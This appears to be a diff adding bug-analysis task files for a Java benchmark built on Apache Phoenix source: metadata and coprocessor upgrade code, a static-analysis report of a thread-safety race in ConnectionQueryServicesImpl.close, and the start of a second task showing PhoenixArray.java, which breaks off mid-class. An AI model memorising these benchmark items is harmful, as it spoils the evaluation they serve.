+            return alwaysMatches() ? "ALL" : neverMatches() ? "NONE" : matchList.toString();
+        }
+
+        public boolean matches(String tableName) {
+            return matchList == null ? true : matchList.contains(tableName);
+        }
+    }
+    
+    private static void addViewForSystemTable(Connection conn) throws SQLException {
+        conn.createStatement().execute("CREATE VIEW IF NOT EXISTS " + OLD_SYSTEM_TABLE_AS_VIEW_NAME + "(\n" +
+                "TABLE_SCHEM VARCHAR NULL,\n" + 
+                "TABLE_NAME VARCHAR NOT NULL,\n" + 
+                "COLUMN_NAME VARCHAR NULL,\n" + 
+                "TABLE_CAT VARCHAR NULL,\n" + 
+                "TABLE_TYPE CHAR(1),\n" + 
+                "TABLE_SEQ_NUM BIGINT,\n" +
+                "PK_NAME VARCHAR,\n" + 
+                "COLUMN_COUNT INTEGER,\n" + 
+                "SALT_BUCKETS INTEGER,\n" + 
+                "DATA_TABLE_NAME VARCHAR,\n" + 
+                "INDEX_STATE CHAR(1),\n" + 
+                "IMMUTABLE_ROWS BOOLEAN,\n" + 
+                "VIEW_STATEMENT VARCHAR,\n" + 
+                "DEFAULT_COLUMN_FAMILY VARCHAR,\n" + 
+                "DISABLE_WAL BOOLEAN,\n" + 
+                "MULTI_TENANT BOOLEAN,\n" + 
+                "VIEW_TYPE UNSIGNED_TINYINT,\n" + 
+                "VIEW_INDEX_ID SMALLINT,\n" + 
+                "DATA_TYPE INTEGER,\n" + 
+                "COLUMN_SIZE INTEGER,\n" + 
+                "DECIMAL_DIGITS INTEGER,\n" + 
+                "NULLABLE INTEGER,\n" + 
+                "ORDINAL_POSITION INTEGER,\n" + 
+                "COLUMN_MODIFIER INTEGER,\n" + 
+                "CONSTRAINT pk PRIMARY KEY (TABLE_SCHEM,TABLE_NAME,COLUMN_NAME, TABLE_CAT))\n" +
+        "AS SELECT * FROM SYSTEM.\"TABLE\" DEFAULT_COLUMN_FAMILY='_0'");
+    }
+    private static void addWhereClauseForUpgrade3_0(WhiteList whiteList, StringBuilder buf) {
+        if (whiteList.neverMatches()) {
+            buf.append(" WHERE FALSE\n");
+        } else {
+            // Filter out system tables
+            // Filter in tables in white list and indexes for tables in white list
+            buf.append(" WHERE ");
+            if (whiteList.alwaysMatches()) {
+                buf.append("NOT (");
+                buf.append(TABLE_SCHEM +  " = '" + OLD_SYSTEM_SCHEMA_NAME + "'" + " AND ");
+                buf.append(TABLE_NAME + " = '" + OLD_SYSTEM_TABLE_NAME + "')\n");
+            } else {
+                for (String fullName : whiteList) {
+                    buf.append(" (");
+                    String schemaName = SchemaUtil.getSchemaNameFromFullName(fullName);
+                    buf.append((TABLE_SCHEM + (schemaName.length()==0 ? " IS NULL " : (" = '" + schemaName + "'")) + " AND "));
+                    String tableName = SchemaUtil.getTableNameFromFullName(fullName);
+                    buf.append(TABLE_NAME + " = '" + tableName + "' )\nOR");
+                }
+                buf.setLength(buf.length()-"OR".length()); // Remove last OR
+            }
+        }
+    }
+    
+    private static final Integer DEFAULT_PRECISION = PDataType.MAX_PRECISION;
+    private static final Integer DEFAULT_SCALE = PDataType.DEFAULT_SCALE;
+    
+    private void upgradeMetaDataTo3_0(String url, Properties props) throws SQLException {
+        if (upgradeWhiteList == null) {
+            return;
+        }
+        // If we go through DriverManager, another ConnectionQueryServices is created
+        Connection conn = new PhoenixConnection(this, url, props, this.latestMetaData);
+        if (upgradeWhiteList.neverMatches()) {
+            if (logger.isInfoEnabled()) {
+                logger.info("No table meta data needs to be upgraded to Apache Phoenix 3.0");
+            }
+        } else {
+            if (logger.isInfoEnabled()) {
+                logger.info("Upgrading table meta data to Apache Phoenix 3.0 based on the following white list: " + upgradeWhiteList);
+            }
+            PreparedStatement stmt = conn.prepareStatement("UPSERT INTO " + SYSTEM_CATALOG_NAME + "(\n" +
+                    TENANT_ID + "," +
+                    TABLE_SCHEM + "," +
+                    TABLE_NAME + "," +
+                    COLUMN_NAME + "," +
+                    COLUMN_FAMILY + "," +
+                    TABLE_SEQ_NUM + "," +
+                    TABLE_TYPE + "," +
+                    DATA_TYPE + "," +
+                    PK_NAME + "," +
+                    COLUMN_COUNT + "," +
+                    SALT_BUCKETS + "," +
+                    DATA_TABLE_NAME + "," +
+                    INDEX_STATE + "," +
+                    IMMUTABLE_ROWS + "," +
+                    DEFAULT_COLUMN_FAMILY_NAME + "," +
+                    COLUMN_SIZE + "," +
+                    DECIMAL_DIGITS + "," +
+                    NULLABLE + "," +
+                    ORDINAL_POSITION + "," +
+                    SORT_ORDER + "," +
+                    KEY_SEQ + "," +
+                    LINK_TYPE + ")\n" + 
+                    "VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)");
+            StringBuilder buf = new StringBuilder("SELECT * FROM " + OLD_SYSTEM_TABLE_AS_VIEW_NAME + "\n");
+            boolean createdView = false;
+            try {
+                addWhereClauseForUpgrade3_0(upgradeWhiteList, buf);
+                buf.append("ORDER BY " + TABLE_SCHEM + "," + TABLE_NAME + "," + COLUMN_NAME + "," + TABLE_CAT + "," + ORDINAL_POSITION);
+                addViewForSystemTable(conn);
+                createdView = true;
+                ResultSet rs = conn.createStatement().executeQuery(buf.toString());
+                String lastSchemaName = null;
+                String lastTableName = null;
+                short nextKeySeq = 1;
+                String tablePkName = null;
+                boolean isSalted = false;
+                while (rs.next()) {
+                    String pkName = null;
+                    String defaultColumnFamily = null;
+                    String schemaName = rs.getString(TABLE_SCHEM);
+                    String tableName = rs.getString(TABLE_NAME);
+                    if (!Objects.equal(schemaName, lastSchemaName) || !Objects.equal(tableName, lastTableName)) {
+                        if (lastTableName != null) {
+                            if (logger.isInfoEnabled()) {
+                                logger.info("Committing upgrades of table meta data for: " + SchemaUtil.getTableName(lastSchemaName, lastTableName));
+                            }
+                            conn.commit();
+                        }
+                        lastSchemaName = schemaName;
+                        lastTableName = tableName;
+                        nextKeySeq = 1; // reset
+                        defaultColumnFamily = "_0"; // old default column family
+                        isSalted = rs.getInt(SALT_BUCKETS) > 0;
+                        pkName = tablePkName = rs.getString(PK_NAME);
+                        if (logger.isInfoEnabled()) {
+                            logger.info("Upgrading table meta data for: " + SchemaUtil.getTableName(schemaName, tableName));
+                        }
+                    }
+                    String columnName = rs.getString(COLUMN_NAME);
+                    String familyName = rs.getString(TABLE_CAT); // old cf name
+                    Short keySeq = null;
+                    Byte linkType = null;
+                    if (columnName != null && familyName == null) { // pk column
+                        // TODO: remember columnName when keySeq == 1 so that we
+                        // can update NULLABLE is this is the sole PK column
+                        keySeq = nextKeySeq++;
+                        pkName = tablePkName;
+                    }
+                    if (columnName == null && familyName != null) { // link to index
+                        linkType = LinkType.INDEX_TABLE.getSerializedValue();
+                    }
+                    /* 
+                     * Convert from old to new format:
+                     * - sql date types to unsigend date types
+                     * - don't persist maxLength and scale for non decimal numbers
+                     * - don't persist default precision for decimal
+                     */
+                    Integer ordinalPosition = (Integer)rs.getObject(ORDINAL_POSITION);
+                    // ORDINAL_POSITION is not taking into account salting so we need
+                    // to subtract one
+                    if (ordinalPosition != null && isSalted) {
+                        ordinalPosition--;
+                    }
+                    Integer maxLength = (Integer)rs.getObject(COLUMN_SIZE);
+                    Integer scale = (Integer)rs.getObject(DECIMAL_DIGITS);
+                    Integer dataTypeNum = (Integer)rs.getObject(DATA_TYPE);
+                    if (dataTypeNum != null) {
+                        PDataType dataType = PDataType.fromTypeId(dataTypeNum);
+                        switch (dataType) {
+                            case DECIMAL:
+                                if (DEFAULT_PRECISION.equals(maxLength) && DEFAULT_SCALE.equals(scale)) {
+                                    maxLength = null;
+                                    scale = null;
+                                }
+                                break;
+                            case DATE:
+                                dataTypeNum = PDataType.UNSIGNED_DATE.getSqlType();
+                                break;
+                            case TIME:
+                                dataTypeNum = PDataType.UNSIGNED_TIME.getSqlType();
+                                break;
+                            case TIMESTAMP:
+                                dataTypeNum = PDataType.UNSIGNED_TIMESTAMP.getSqlType();
+                                break;
+                            case BINARY:
+                                // From way-back-when, we introduced VARBINARY after BINARY
+                                rs.getInt(COLUMN_SIZE);
+                                if (rs.wasNull()) {
+                                    dataTypeNum = PDataType.VARBINARY.getSqlType();
+                                }
+                                break;
+                            default:
+                                // Don't store precision and scale for int, long, etc, as
+                                // there's no value (we actually lose information and need
+                                // more special cases b/c we don't know that it wasn't set).
+                                if (dataType.isCoercibleTo(PDataType.LONG)) {
+                                    maxLength = null;
+                                    scale = null;
+                                }
+                                break;
+                        }
+                    }
+                   /* 
+                     * Upsert meta .data for one table
+                     * Use setObject, as primitive value may often be null
+                     */
+                    stmt.setString(1,null);
+                    stmt.setString(2,schemaName);
+                    stmt.setString(3,tableName);
+                    stmt.setString(4,columnName);
+                    stmt.setString(5,familyName);
+                    stmt.setObject(6, rs.getObject(TABLE_SEQ_NUM));
+                    stmt.setString(7, rs.getString(TABLE_TYPE));
+                    stmt.setObject(8, dataTypeNum);
+                    stmt.setString(9, pkName);
+                    stmt.setObject(10, rs.getObject(COLUMN_COUNT));
+                    stmt.setObject(11, rs.getObject(SALT_BUCKETS));
+                    stmt.setString(12, rs.getString(DATA_TABLE_NAME));
+                    stmt.setString(13, rs.getString(INDEX_STATE));
+                    stmt.setObject(14, rs.getObject(IMMUTABLE_ROWS));
+                    stmt.setString(15, defaultColumnFamily); // previous DEFAULT_COLUMN_FAMILY_NAME
+                    stmt.setObject(16, maxLength);
+                    stmt.setObject(17, scale);
+                    stmt.setObject(18, rs.getObject(NULLABLE));
+                    stmt.setObject(19, ordinalPosition);
+                    stmt.setObject(20, rs.getObject("COLUMN_MODIFIER")); // old column name
+                    stmt.setObject(21, keySeq); // new column for PK position
+                    stmt.setObject(22, linkType); // link to index
+                    stmt.execute();
+                }
+                if (lastTableName != null) {
+                    if (logger.isInfoEnabled()) {
+                        logger.info("Committing upgrades of table meta data for: " + SchemaUtil.getTableName(lastSchemaName, lastTableName));
+                    }
+                    conn.commit();
+                }
+            } catch (TableNotFoundException e) {
+                if (logger.isInfoEnabled()) {
+                    logger.info("Unable to upgrade metadata.",e);
+                }
+            } finally {
+                if (createdView) {
+                    Long scn = JDBCUtil.getCurrentSCN(url, props);
+                    if (scn == null) {
+                        conn.createStatement().execute("DROP VIEW IF EXISTS " + OLD_SYSTEM_TABLE_AS_VIEW_NAME);                        
+                    } else {
+                        Properties newProps = new Properties(props);
+                        newProps.setProperty(PhoenixRuntime.CURRENT_SCN_ATTRIB, Long.toString(scn + 1));
+                        Connection newConn = DriverManager.getConnection(url, newProps);
+                        try {
+                            newConn.createStatement().execute("DROP VIEW IF EXISTS " + OLD_SYSTEM_TABLE_AS_VIEW_NAME);                        
+                        } finally {
+                            newConn.close();
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+     /**
+     * Walk through all existing tables and install new coprocessors
+     * @param admin
+     * @param systemCatalogDesc 
+     * @throws IOException
+     * @throws SQLException
+     */
+    private WhiteList upgradeCoprocessorsTo3_0(HBaseAdmin admin, boolean forceUpgrade) throws IOException, SQLException {
+        String files = config.get(QueryServices.AUTO_UPGRADE_WHITELIST_ATTRIB);
+        WhiteList coprocUpgradeWhiteList = new WhiteList(files);
+        if (coprocUpgradeWhiteList.neverMatches()) {
+            if (logger.isInfoEnabled()) {
+                logger.info("No coprocessors will be upgraded from Salesforce Phoenix 2.x to Apache Phoenix 3.0");
+            }
+            return coprocUpgradeWhiteList;
+        } else {
+            Set<String> upgradedTables = Sets.newHashSet();
+            if (logger.isInfoEnabled()) {
+                logger.info("Upgrading coprocessors from Salesforce Phoenix 2.x to Apache Phoenix 3.0 based on the following white list: " + coprocUpgradeWhiteList);
+            }
+            /* Use regular HBase scan instead of query because the jar on the server may
+             * not be compatible (we don't know yet) and this is our one chance to do
+             * the conversion automatically.
+             */
+            Scan scan = new Scan();
+            scan.addColumn(OLD_DEFAULT_COLUMN_FAMILY_BYTES, TABLE_TYPE_BYTES);
+            scan.addColumn(OLD_DEFAULT_COLUMN_FAMILY_BYTES, DATA_TABLE_NAME_BYTES);
+            SingleColumnValueFilter filter = new SingleColumnValueFilter(OLD_DEFAULT_COLUMN_FAMILY_BYTES, TABLE_TYPE_BYTES, CompareOp.GREATER_OR_EQUAL, PDataType.CHAR.toBytes("a"));
+            filter.setFilterIfMissing(true);
+            // Add filter so that we only get the table row and not the column rows
+            scan.setFilter(filter);
+            HTableInterface table = null;
+            try {
+                table = getTable(OLD_SYSTEM_TABLE_NAME_BYTES);
+                ResultScanner scanner = table.getScanner(scan);
+                Result result = null;
+                while ((result = scanner.next()) != null) {
+                    byte[] rowKey = result.getRow();
+                    byte[][] rowKeyMetaData = new byte[2][];
+                    SchemaUtil.getVarChars(rowKey, rowKeyMetaData);
+                    byte[] schemaBytes = rowKeyMetaData[0];
+                    byte[] tableBytes = rowKeyMetaData[1];
+                    byte[] tableName = SchemaUtil.getTableNameAsBytes(schemaBytes, tableBytes);
+                    Cell tableTypeKv = result.getColumnLatestCell(OLD_DEFAULT_COLUMN_FAMILY_BYTES, TABLE_TYPE_BYTES);
+                    PTableType tableType = PTableType.fromSerializedValue(tableTypeKv.getValueArray()[tableTypeKv.getValueOffset()]);
+                    Cell dataNameKv = result.getColumnLatestCell(OLD_DEFAULT_COLUMN_FAMILY_BYTES, DATA_TABLE_NAME_BYTES);
+                    // Update coprocessors if table is on white list or it's data table is on the white list
+                    if (tableType != PTableType.SYSTEM
+                            && (coprocUpgradeWhiteList.matches(tableName) || (dataNameKv != null
+                            && coprocUpgradeWhiteList.matches(SchemaUtil.getTableName(schemaBytes, dataNameKv.getValue()))))) {
+                        HTableDescriptor existingDesc = admin.getTableDescriptor(tableName);
+                        HTableDescriptor newDesc = new HTableDescriptor(existingDesc);
+                        addCoprocessors(tableName, newDesc, tableType);
+                        String fullTableName = Bytes.toString(tableName);
+                        upgradedTables.add(fullTableName);
+
+                        if (!existingDesc.equals(newDesc)) {
+                            if (logger.isInfoEnabled()) {
+                                logger.info("Upgrading coprocessors for: " + SchemaUtil.getTableName(schemaBytes, tableBytes));
+                            }
+                            admin.disableTable(tableName);
+                            admin.modifyTable(tableName, newDesc);
+                            admin.enableTable(tableName);
+                        }
+                    }
+                }
+                return new WhiteList(upgradedTables);
+            } catch (TableNotFoundException ignore) {
+                return new WhiteList(); // No SYSTEM.TABLE, so nothing to do
+            } finally {
+                if (table != null) Closeables.closeQuietly(table);
+            }
+        }
+    }
+        
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.phoenix.query.ConnectionQueryServicesImpl.close` reads without synchronization from `this.org.apache.phoenix.query.ConnectionQueryServicesImpl.sequenceMap`. Potentially races with write in method `ConnectionQueryServicesImpl.removeConnection(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ConnectionQueryServicesImpl.close()
+
+### Procedure Id:
+org.apache.phoenix.query.ConnectionQueryServicesImpl.close():void.6db780c2bca7121f281f5366512530b2
+
+### File:
+phoenix-core/src/main/java/org/apache/phoenix/query/ConnectionQueryServicesImpl.java
+
+### Key:
+ConnectionQueryServicesImpl.java|close|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+af956175a8d865afe12252a5b5c5da26
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6064/instruction.md b/inferredbugs-6064/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..be1ed8037cd6f67b2446a44c6010f2cfa6eb2144
--- /dev/null
+++ b/inferredbugs-6064/instruction.md
@@ -0,0 +1,748 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** phoenix
+**Bug ID:** 12
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.phoenix.schema.types;
+
+import java.sql.Array;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.util.Arrays;
+import java.util.Map;
+
+import org.apache.phoenix.util.SQLCloseable;
+
+/**
+ * java.sql.Array implementation for Phoenix
+ */
+public class PhoenixArray implements Array,SQLCloseable {
+	private static final String TO_STRING_SEPARATOR = ", ";
+	private static final String TO_STRING_END = "]";
+	private static final String TO_STRING_BEGIN = "[";
+	
+	PDataType baseType;
+	Object array;
+	int numElements;
+	Integer maxLength;
+	protected int hashCode = Integer.MIN_VALUE;
+
+	public PhoenixArray() {
+		// empty constructor
+	}
+	
+	public Integer getMaxLength() {
+	    return maxLength;
+	}
+
+    public boolean isPrimitiveType() {
+        return this.baseType.getCodec() != null;
+    }
+
+	private static Object[] coerceToNewLength(PDataType baseType, Object[] elements, int maxLength) {
+        Object[] resizedElements = new Object[elements.length];
+        for (int i = 0; i < elements.length; i++) {
+            int length = baseType.getMaxLength(elements[i]);
+            if (length == maxLength) {
+                resizedElements[i] = elements[i];
+            } else {
+                resizedElements[i] = baseType.pad(elements[i],maxLength);
+            }
+        }
+        return resizedElements;
+	}
+	private static Object[] coerceToEqualLength(PDataType baseType, Object[] elements) {
+	    if (elements == null || elements.length == 0) {
+	        return elements;
+	    }
+	    Object element = elements[0];
+	    int maxLength = baseType.getMaxLength(element);
+	    boolean resizeElements = false;
+	    for (int i = 1; i < elements.length; i++) {
+	        int length = baseType.getMaxLength(elements[i]);
+	        if (length > maxLength) {
+	            maxLength = length;
+	            resizeElements = true;
+	        } else if (length < maxLength) {
+	            resizeElements = true;
+	        }
+	    }
+	    if (!resizeElements) {
+	        return elements;
+	    }
+	    return coerceToNewLength(baseType, elements, maxLength);
+	}
+	
+	public PhoenixArray(PDataType baseType, Object[] elements) {
+		// As we are dealing with primitive types and only the Boxed objects
+		this.baseType = baseType;
+		if (baseType.isFixedWidth()) {
+		    if (baseType.getByteSize() == null) {
+    		    elements = coerceToEqualLength(baseType, elements);
+    		    if (elements != null && elements.length > 0) {
+    		        this.maxLength = baseType.getMaxLength(elements[0]);
+    		    }
+		    } else {
+		        maxLength = baseType.getByteSize();
+		    }
+		}
+    this.array = convertObjectArrayToPrimitiveArray(elements);
+		this.numElements = elements.length;
+	}
+	
+	public PhoenixArray(PhoenixArray pArr, Integer desiredMaxLength) {
+	    this.baseType = pArr.baseType;
+	    Object[] elements = (Object[])pArr.array;
+        if (baseType.isFixedWidth()) {
+            if (baseType.getByteSize() == null) {
+                elements = coerceToNewLength(baseType, (Object[])pArr.array, desiredMaxLength);
+                maxLength = desiredMaxLength;
+            } else {
+                maxLength = baseType.getByteSize();
+            }
+        }
+        this.array = convertObjectArrayToPrimitiveArray(elements);
+        this.numElements = elements.length;
+    }
+
+  public Object convertObjectArrayToPrimitiveArray(Object[] elements) {
+    return elements;
+	}
+	
+	@Override
+	public void free() throws SQLException {
+	}
+
+	@Override
+	public Object getArray() throws SQLException {
+		return array;
+	}
+	
+	@Override
+	public void close() throws SQLException {
+		this.array = null;
+	}
+
+	@Override
+	public Object getArray(Map<String, Class<?>> map) throws SQLException {
+		throw new UnsupportedOperationException("Currently not supported");
+	}
+
+	@Override
+	public Object getArray(long index, int count) throws SQLException {
+		if(index < 1) {
+			throw new IllegalArgumentException("Index cannot be less than 1");
+		}
+		// Get the set of elements from the given index to the specified count
+		Object[] intArr = (Object[]) array;
+		boundaryCheck(index, count, intArr);
+		Object[] newArr = new Object[count];
+		// Add checks() here.
+		int i = 0;
+		for (int j = (int) index; j < count; j++) {
+			newArr[i] = intArr[j];
+			i++;
+		}
+		return newArr;
+	}
+
+	private void boundaryCheck(long index, int count, Object[] arr) {
+		if ((--index) + count > arr.length) {
+			throw new IllegalArgumentException("The array index is out of range of the total number of elements in the array " + arr.length);
+		}
+	}
+
+	@Override
+	public Object getArray(long index, int count, Map<String, Class<?>> map)
+			throws SQLException {
+		if(map != null && !map.isEmpty()) {
+			throw new UnsupportedOperationException("Currently not supported");
+		}
+		return null;
+	}
+
+	@Override
+	public int getBaseType() throws SQLException {
+		return baseType.getSqlType();
+	}
+
+	@Override
+	public String getBaseTypeName() throws SQLException {
+		return baseType.getSqlTypeName();
+	}
+
+	@Override
+	public ResultSet getResultSet() throws SQLException {
+		throw new UnsupportedOperationException("Currently not supported");
+	}
+
+	@Override
+	public ResultSet getResultSet(Map<String, Class<?>> arg0)
+			throws SQLException {
+		throw new UnsupportedOperationException("Currently not supported");
+	}
+
+	@Override
+	public ResultSet getResultSet(long arg0, int arg1) throws SQLException {
+		throw new UnsupportedOperationException("Currently not supported");
+	}
+
+	@Override
+	public ResultSet getResultSet(long arg0, int arg1,
+			Map<String, Class<?>> arg2) throws SQLException {
+		throw new UnsupportedOperationException("Currently not supported");
+	}
+
+  /**
+   * Return the value in position {@code index} from the underlying array. Used to work around
+   * casting and reflection while enabling primitive arrays.
+   */
+  public Object getElement(int index) {
+    return ((Object[]) array)[index];
+  }
+
+	public int getDimensions() {
+		return this.numElements;
+	}
+	
+	public int estimateByteSize(int pos) {
+	    if(((Object[])array)[pos] == null) {
+	        return 0;
+	    }
+		return this.baseType.estimateByteSize(((Object[])array)[pos]);
+	}
+	
+	public Integer getMaxLength(int pos) {
+	    return this.baseType.getMaxLength(((Object[])array)[pos]);
+	}
+	
+	public byte[] toBytes(int pos) {
+		return this.baseType.toBytes(((Object[])array)[pos]);
+	}
+	
+    @Override
+    public String toString() {
+        StringBuilder sb = new StringBuilder(TO_STRING_BEGIN);
+        boolean isFirst = true;
+        for (int i = 0; i < getDimensions(); i++) {
+            Object o = getElement(i);
+            if (isFirst) {
+                isFirst = false;
+            } else {
+                sb.append(TO_STRING_SEPARATOR);
+            }
+            sb.append(this.baseType.toStringLiteral(o));
+        }
+        sb.append(TO_STRING_END);
+        return sb.toString();
+    }
+	
+	public boolean isNull(int pos) {
+	    if(this.baseType.toBytes(((Object[])array)[pos]).length == 0) {
+	        return true;
+	    } else {
+	        return false;
+	    }
+	}
+	
+	@Override
+	public boolean equals(Object obj) {
+    if (obj == null) return false;
+    if (this == obj) return true;
+    if (!(obj instanceof PhoenixArray)) return false;
+    PhoenixArray oArray = (PhoenixArray) obj;
+    if (numElements != oArray.numElements) return false;
+    if (baseType.getSqlType() != oArray.baseType.getSqlType()) return false;
+    return Arrays.deepEquals((Object[]) array, (Object[]) oArray.array);
+	}
+
+	@Override
+	public int hashCode() {
+    // implementation based on commons.lang.HashCodeBuilder, except the hashcode is cached and
+    // reused for a given instance.
+    if (hashCode != Integer.MIN_VALUE) return hashCode;
+    hashCode = 17;
+    hashCode = hashCode * 37 + numElements;
+    hashCode = hashCode * 37 + baseType.getSqlType();
+    hashCode = hashCode * 37 + Arrays.deepHashCode((Object[]) array);
+    return hashCode;
+	}
+
+	public static class PrimitiveIntPhoenixArray extends PhoenixArray {
+		private int[] intArr;
+		public PrimitiveIntPhoenixArray(PDataType dataType, Object[] elements) {
+			super(dataType, elements);
+		}
+
+		@Override
+        public Object convertObjectArrayToPrimitiveArray(Object[] elements) {
+            intArr = new int[elements.length];
+            int i = 0;
+            for (Object o : elements) {
+                if (o != null) {
+                    intArr[i] = (Integer) o;
+                }
+                i++;
+            }
+            return intArr;
+        }
+		
+		@Override
+        public int estimateByteSize(int pos) {
+			return this.baseType.estimateByteSize(intArr[pos]);
+		}
+		
+		@Override
+        public byte[] toBytes(int pos) {
+			return this.baseType.toBytes(intArr[pos]);
+		}
+		
+		@Override
+		public boolean equals(Object obj) {
+      if (obj == null) return false;
+      if (this == obj) return true;
+      if (this.getClass() != obj.getClass()) return false;
+      PrimitiveIntPhoenixArray oArray = (PrimitiveIntPhoenixArray) obj;
+      if (numElements != oArray.numElements) return false;
+      if (baseType.getSqlType() != oArray.baseType.getSqlType()) return false;
+      return Arrays.equals((int[]) array, (int[]) oArray.array);
+		}
+
+    @Override
+    public int hashCode() {
+      if (hashCode != Integer.MIN_VALUE) return hashCode;
+      hashCode = 17;
+      hashCode = hashCode * 37 + numElements;
+      hashCode = hashCode * 37 + baseType.getSqlType();
+      hashCode = hashCode * 37 + Arrays.hashCode((int[]) array);
+      return hashCode;
+    }
+
+    @Override
+    public Object getElement(int index) {
+      return ((int[]) array)[index];
+    }
+	}
+	
+	public static class PrimitiveShortPhoenixArray extends PhoenixArray {
+		private short[] shortArr;
+		public PrimitiveShortPhoenixArray(PDataType dataType, Object[] elements) {
+			super(dataType, elements);
+		}
+		@Override
+		public Object convertObjectArrayToPrimitiveArray(Object[] elements) {
+			shortArr = new short[elements.length];
+			int i = 0;
+            for(Object o : elements) {
+                if (o != null) {
+                    shortArr[i] = (Short)o;
+                }
+                i++;
+            }
+      return shortArr;
+		}
+		
+		@Override
+        public int estimateByteSize(int pos) {
+			return this.baseType.estimateByteSize(shortArr[pos]);
+		}
+		
+		@Override
+        public byte[] toBytes(int pos) {
+			return this.baseType.toBytes(shortArr[pos]);
+		}
+
+		@Override
+		public boolean equals(Object obj) {
+      if (obj == null) return false;
+      if (this == obj) return true;
+      if (this.getClass() != obj.getClass()) return false;
+      PrimitiveShortPhoenixArray oArray = (PrimitiveShortPhoenixArray) obj;
+      if (numElements != oArray.numElements) return false;
+      if (baseType.getSqlType() != oArray.baseType.getSqlType()) return false;
+      return Arrays.equals((short[]) array, (short[]) oArray.array);
+		}
+
+    @Override
+    public int hashCode() {
+      if (hashCode != Integer.MIN_VALUE) return hashCode;
+      hashCode = 17;
+      hashCode = hashCode * 37 + numElements;
+      hashCode = hashCode * 37 + baseType.getSqlType();
+      hashCode = hashCode * 37 + Arrays.hashCode((short[]) array);
+      return hashCode;
+    }
+
+    @Override
+    public Object getElement(int index) {
+      return ((short[]) array)[index];
+    }
+  }
+	
+	public static class PrimitiveLongPhoenixArray extends PhoenixArray {
+		private long[] longArr;
+		public PrimitiveLongPhoenixArray(PDataType dataType, Object[] elements) {
+			super(dataType, elements);
+		}
+		@Override
+		public Object convertObjectArrayToPrimitiveArray(Object[] elements) {
+			longArr = new long[elements.length];
+			int i = 0;
+            for(Object o : elements) {
+                if (o != null) {
+                    longArr[i] = (Long)o;
+                }
+                i++;
+            }
+      return longArr;
+		}
+		@Override
+        public int estimateByteSize(int pos) {
+			return this.baseType.estimateByteSize(longArr[pos]);
+		}
+		
+		@Override
+        public byte[] toBytes(int pos) {
+			return this.baseType.toBytes(longArr[pos]);
+		}
+
+		@Override
+		public boolean equals(Object obj) {
+      if (obj == null) return false;
+      if (this == obj) return true;
+      if (this.getClass() != obj.getClass()) return false;
+      PrimitiveLongPhoenixArray oArray = (PrimitiveLongPhoenixArray) obj;
+      if (numElements != oArray.numElements) return false;
+      if (baseType.getSqlType() != oArray.baseType.getSqlType()) return false;
+      return Arrays.equals((long[]) array, (long[]) oArray.array);
+		}
+
+    @Override
+    public int hashCode() {
+      if (hashCode != Integer.MIN_VALUE) return hashCode;
+      hashCode = 17;
+      hashCode = hashCode * 37 + numElements;
+      hashCode = hashCode * 37 + baseType.getSqlType();
+      hashCode = hashCode * 37 + Arrays.hashCode((long[]) array);
+      return hashCode;
+    }
+
+    @Override
+    public Object getElement(int index) {
+      return ((long[]) array)[index];
+    }
+	}
+	
+	public static class PrimitiveDoublePhoenixArray extends PhoenixArray {
+		private double[] doubleArr;
+		public PrimitiveDoublePhoenixArray(PDataType dataType, Object[] elements) {
+			super(dataType, elements);
+		}
+		@Override
+		public Object convertObjectArrayToPrimitiveArray(Object[] elements) {
+			doubleArr = new double[elements.length];
+			int i = 0;
+			for (Object o : elements) {
+			    if (o != null) {
+			        doubleArr[i] = (Double) o;
+			    }
+			    i++;
+			}
+      return doubleArr;
+		}
+		
+		@Override
+        public int estimateByteSize(int pos) {
+			return this.baseType.estimateByteSize(doubleArr[pos]);
+		}
+		
+		@Override
+        public byte[] toBytes(int pos) {
+			return this.baseType.toBytes(doubleArr[pos]);
+		}
+
+		@Override
+		public boolean equals(Object obj) {
+      if (obj == null) return false;
+      if (this == obj) return true;
+      if (this.getClass() != obj.getClass()) return false;
+      PrimitiveDoublePhoenixArray oArray = (PrimitiveDoublePhoenixArray) obj;
+      if (numElements != oArray.numElements) return false;
+      if (baseType.getSqlType() != oArray.baseType.getSqlType()) return false;
+      return Arrays.equals((double[]) array, (double[]) oArray.array);
+		}
+
+    @Override
+    public int hashCode() {
+      if (hashCode != Integer.MIN_VALUE) return hashCode;
+      hashCode = 17;
+      hashCode = hashCode * 37 + numElements;
+      hashCode = hashCode * 37 + baseType.getSqlType();
+      hashCode = hashCode * 37 + Arrays.hashCode((double[]) array);
+      return hashCode;
+    }
+
+    @Override
